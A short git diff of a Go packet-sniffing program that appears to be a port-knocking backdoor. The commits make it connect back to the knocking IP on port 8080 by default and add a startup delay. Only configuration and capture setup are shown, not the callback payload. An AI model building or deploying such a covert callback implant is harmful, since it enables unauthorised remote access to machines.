2 Commits
main ... dev

Author SHA1 Message Date
Pin
9c190cf6c0 temp sleep 2023-04-06 21:34:17 -04:00
Pin
2da1dfeb1a default callback true 2023-04-06 20:32:58 -04:00

16
main.go
View File

@@ -64,28 +64,20 @@ func sInit(os string) *targetInfo {
// if true, connect back to knocking
// IP on connectbackPort
tInfo.connectback = false
tInfo.connectback = true
// only relevant if connectback is true
tInfo.connectbackPort = "8080"
return &tInfo
}
func openCapture(tInfo *targetInfo) *pcap.Handle {
for {
handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever)
if err == nil {
return handle
}
time.Sleep(5 * time.Second)
}
}
func main() {
time.Sleep(10 * time.Second)
tInfo := sInit(runtime.GOOS)
// Read package and analze them
handle := openCapture(tInfo)
handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever)
errorPrinter(err)
handle.SetBPFFilter(tInfo.filter)
packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets()